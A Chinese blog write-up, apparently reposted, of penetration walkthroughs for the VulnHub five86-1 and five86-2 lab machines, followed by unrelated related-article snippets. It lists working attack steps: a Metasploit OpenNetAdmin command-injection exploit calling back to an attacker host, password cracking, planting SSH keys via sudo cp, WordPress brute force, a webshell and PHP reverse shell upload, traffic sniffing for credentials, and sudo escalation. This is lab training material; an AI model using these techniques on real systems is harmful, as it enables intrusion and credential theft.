vulnhub five86系列靶机合集

five86 ~ VulnHubhttps://www.vulnhub.com/series/five86,272/

five86-1渗透过程

信息收集

# 主机发现
nmap 192.168.56.0/24 -Pn
​
# 靶机全面扫描
nmap 192.168.56.131 -A -T4

目录扫描

dirsearch -u http://192.168.56.131/

/robots.txt提示/ona。

/ona二层目录扫描。

弱口令登录OpenNetAdmin

/ona/login.php弱口令admin:admin成功登录。

OpenNetAdmin RCE漏洞利用

漏洞库搜索一下。

searchsploit opennetadmin

结合opennetadmin登录后的提示版本信息是v18.1.1,命令注入试一下。

msfconsole
use exploit/unix/webapp/opennetadmin_ping_cmd_injection
set LHOST 192.168.56.109
set RHOSTS 192.168.56.131
run

通过python获取tty。

python -c 'import pty;pty.spawn("/bin/bash")'

有五个用户。

在~/.htpasswd中得到提示:douglas的密码是十位,且包含aefhrt这些字符。

douglas:$apr1$9fgG/hiM$BtsL9qpNHUlylaLxk81qY1

To make things slightly less painful (a standard dictionary will likely fail),

use the following character set for this 10 character password: aefhrt

crunch生成字典

根据提示生成密码字典。

crunch 10 10 aefhrt -o passwd.txt

$apr1$9fgG/hiM$BtsL9qpNHUlylaLxk81qY1保存为hash。

John --wordlist=字典  hash

fatherrrrr

切换到douglas。

sudo提权到jen用户

cp命令可用。

结合douglas目录下的.ssh,将id_rsa.pub复制到/jen/.ssh目录下就能通过密钥登录了。

cp id_rsa.pub /tmp/authorized_keys
chmod 777 /tmp/authorized_keys
sudo -u jen /bin/cp /tmp/authorized_keys /home/jen/.ssh

成功登录jen用户。

登录到moss用户

登录到jen用户时提示有邮件,在邮件中找到moss密码Fire!Fire!

suid提权到root

可疑文件upyourgame。

执行一下,一段乱输入后成功提权。

get flag.txt🎆

five86-2渗透过程

信息收集

# 主机发现
namp 192.168.56.0/24 -Pn
​
# 全面扫描靶机
nmap 192.168.56.132 -A -T4

开放端口20,21,80。

访问80端口,发现是WordPress框架,页面显示有些问题,需要添加映射关系。(其实不改也不影响wpscan工作)

vim /etc/hosts
# 添加
192.168.56.132  five86-2

wpscan爆破用户名密码

wpscan --url http://five86-2/ -e u,p,t

扫描得出admin,barney,gillian,peter,stephen五个用户,接着爆破密码。

wpscan --url http://five86-2/  -U user.txt -P /usr/share/wordlists/rockyou.txt

得到两组用户名密码。

barney/spooky1
​
stephen/apollo1

都登录看看权限,明显的barney权限更高,但不是管理员权限。插件这里看见只有Insert or Embed Articulate Content into WordPress Trial这个插件被激活了。

wpscan插件利用

搜索得知插件Insert or Embed Articulate Content into WordPress Trial可以RCE。

  1. 准备两个文件,分别是index.html和一句话木马文件xx.php,压缩到zip文件中。

  2. Posts——》Add New。

    上传准备好的压缩包。

    出现以下页面表示可行,点击insert。

    插入成功后会提示上传路径/wp-content/uploads/articulate_uploads/a5/index.html

  3. 蚁剑连接。http://ip/wp-content/uploads/articulate_uploads/a5/xx.php

上传反弹shell文件php-reverse-shell.php

python3 -c 'import pty;pty.spawn("/bin/bash")'

wp-config.php找到数据库用户名密码dbuser/4Te3bRd483e

数据库操作:

show databases;
use wordpressdb;
show tables;
select * from wp_users;

注意WordPress是MD5加密

解不出来,先用之前获得的两组用户名密码试试,/home下有这两个用户。

成功切换到stephen。

tcpdump监听指定网卡获得敏感数据

id命令发现stephen在pcap组中。提示涉及到抓包?

# 打印所有可用作的接口
tcpdump -D
​
# 监控指定网卡120s将数据包写入/tmp/1.pcap
tcpdump -i vethf2b0415 -G 120 -W 1 -w /tmp/1.pcap

tcpdump -r 1.pcap读取数据包,得到ftp用户名和密码。paul/esomepasswford

通过密码成功切换到paul用户。

sudo提权

sudo提权。

service命令提权到peter用户。

sudo -u peter /usr/sbin/service ../../bin/sh

还是sudo提权。

可以以root权限运行passwd命令,那么直接修改root密码吧。sudo passwd root

get thisistheflag.txt🎆

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/79833.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何高效利用呼叫中心系统和AI语音机器人

要更好地使用呼叫中心系统和语音机器人,需要结合两者的优势,实现自动化、智能化、高效率的客户服务与业务运营。以下是优化策略和具体实践方法: 一、呼叫中心系统优化 1. 智能路由与IVR优化 智能ACD(自动呼叫分配) …

Nacos安装及数据持久化

1.Nacos安装及数据持久化 1.1下载nacos 下载地址:https://nacos.io/download/nacos-server/ 不用安装,直接解压缩即可。 1.2配置文件增加jdk环境和修改单机启动standalone 找到bin目录下的startup.cmd文件,添加以下语句(jdk路径根据自己…

【牛客练习赛137 C】题解

比赛链接 C. 变化的数组(Easy Version) 题目大意 一个长度为 n n n 的非负数组 a a a,要求执行 k k k 次操作,每次操作如下: 有 1 2 \frac{1}{2} 21​ 的概率令 a i ← a i ( a i ⊗ m ) x , ∀ i ∈ [ 1 , n ] a_i \leftarrow a_…

Redis适用场景

Redis适用场景 一、加速缓存二、会话管理三、排行榜和计数器四、消息队列五、实时分析六、分布式锁七、地理位置数据八、限流九、数据共享十、签到 一、加速缓存 Redis最常见的应用之一是作为缓存层,用于存储频繁访问的数据,从而减轻数据库的负载。 通过…

【LangChain4j快速入门】5分钟用Java接入AI大模型,Spring Boot整合实战!| 附源码

【LangChain4j快速入门】5分钟用Java接入AI大模型,Spring Boot整合实战! 前言:当Java遇上大模型 在AI浪潮席卷全球的今天,Java开发者如何快速拥抱大语言模型?LangChain4j作为专为Java打造的AI开发框架,以…

2025第十七届“华中杯”大学生数学建模挑战赛题目B 题 校园共享单车的调度与维护问题完整成品正文33页(不含附录)文章思路 模型 代码 结果分享

校园共享单车运营优化与调度模型研究 摘 要 本研究聚焦校园共享单车点位布局、供需平衡、运营效率及故障车辆回收四大核心问题,通过构建一系列数学模型,系统分析与优化共享单车的运维体系。 针对问题一,我们建立了基于多时段观测的库存估算…

Unity游戏多语言工具包

由于一开始的代码没有考虑多语言场景,导致代码中提示框和UI显示直接用了中文,最近开始提取代码的中文,提取起来太麻烦,所以拓展了之前的多语言包,降低了操作复杂度。最后把工具代码提取出来到单独项目里面,…

.NET MCP 文档

MCP 概述 MCP(Model Context Protocol)是由 Anthropic 推出的一种开放协议,类似 AI 的 USB-C 扩展坞,用于在大模型和数据源之间建立安全的通信(授权),让 AI 应用能够安全地访问和操作本地或远程…

【Linux】vim配置----超详细

目录 一、插件管理器准备 二、目录准备 三、安装插件 一、插件管理器准备 Vim-plug 是一个Vim插件管理器,利用异步并行可以快速地安装、更新和卸载插件。它的安装和配置都非常简单,而且在操作过程中会给出很多易读的反馈信息,是一个自由、…

PHP实现图片自动添加水印效果

<?php // 设置原始图片路径和水印图片路径 $original_image original.jpg; $watermark_image watermark.png;// 创建图片资源 $original imagecreatefromjpeg($original_image); $watermark imagecreatefrompng($watermark_image);// 获取图片尺寸 $original_width im…

检查新接手LINUX服务器应用的部署情况和正在运行的服务

当接手一台新的 Linux 服务器时&#xff0c;第一要务就是摸清系统上已经安装部署了哪些应用和服务。 本文将以 CentOS7为例&#xff0c;详细介绍如何系统地排查已安装的应用和服务&#xff0c;包括它们的安装方式和安装位置。 1.查看系统基本信息 首先获取系统整体信息&…

使用注解方式整合ssm时,启动tomcat扫描不到resource下面的xxxmapper.xml问题,解决方法

解决org.apache.ibatis.binding.BindingException: Invalid bound statement (not found): com.xxx.mapper.方法 在Spring与Mybatis整合时&#xff0c;可能会遇到这样的报错 原因&#xff1a; 其原因为mapper路径的映射错误&#xff0c;表示在尝试执行某个 Mapper 接口的方法时…

C++11特性补充

目录 lambda表达式 定义 捕捉的方式 可变模板参数 递归函数方式展开参数包 数组展开参数包 移动构造和移动赋值 包装器 绑定bind 智能指针 RAII auto_ptr unique_ptr shared_ptr 循环引用 weak_ptr 补充 总结 特殊类的设计 不能被拷贝的类 只能在堆上创建…

My SQL 索引

核心目标&#xff1a; 理解 mysql 索引的工作原理、类型、优缺点&#xff0c;并掌握创建、管理和优化索引的方法&#xff0c;以显著提升数据库查询性能。 什么是索引&#xff1f; 索引是一种特殊的数据库结构&#xff0c;它包含表中一列或多列的值以及指向这些值所在物理行的指…

极狐GitLab 注册限制如何设置?

极狐GitLab 是 GitLab 在中国的发行版&#xff0c;关于中文参考文档和资料有&#xff1a; 极狐GitLab 中文文档极狐GitLab 中文论坛极狐GitLab 官网 注册限制 (BASIC SELF) 您可以对注册实施以下限制&#xff1a; 禁用新注册。新注册需要管理员批准。需要用户电子邮件确认。…

10.(vue3.x+vite)div实现tooltip功能(css实现)

1:效果截图 2:代码实现 <template><div><div class="tooltip" style="margin-top: 20%; margin-left: 20%; background-color: blueviolet; color: white;

Linux下 文件的查找、复制、移动和解压缩

1、在/var/log目录下创建一个hehe.log的文件&#xff0c;其文件内容是&#xff1a; myhostname ghl mydomain localdomain relayhost [smtp.qq.com]:587 smtp_use_tls yes smtp_sasl_auth_enable yes smtp_sasl_security_options noanonymous smtp_sasl_tls_security_opt…

Ubuntu 安装 Docker 教程(官方推荐方式)

✅ 步骤 1&#xff1a;卸载旧版本&#xff08;如果有&#xff09; for pkg in docker.io docker-doc docker-compose docker-compose-v2 podman-docker containerd runc; do sudo apt-get remove $pkg; done---### ✅ 步骤 2&#xff1a;更新 APT 索引并安装依赖项bash sudo a…

计算机视觉与深度学习 | Transformer原理,公式,代码,应用

Transformer 详解 Transformer 是 Google 在 2017 年提出的基于自注意力机制的深度学习模型,彻底改变了序列建模的范式,解决了 RNN 和 LSTM 在长距离依赖和并行计算上的局限性。以下是其原理、公式、代码和应用的详细解析。 一、原理 核心架构 Transformer 由 编码器(Encod…

计算机基础 | 常见进制与单位简介 / 表示 / 描述

注&#xff1a;本文为 “进制与常见单位应用” 相关文章合辑。 原文为繁体&#xff0c;注意术语描述差异。 略作重排。 进制简介&#xff08;二进制、八进制、十进制、十六进制&#xff09; 发表于 2017-01-20 郑中胜 数字系统&#xff08;Numeral system&#xff09;&#…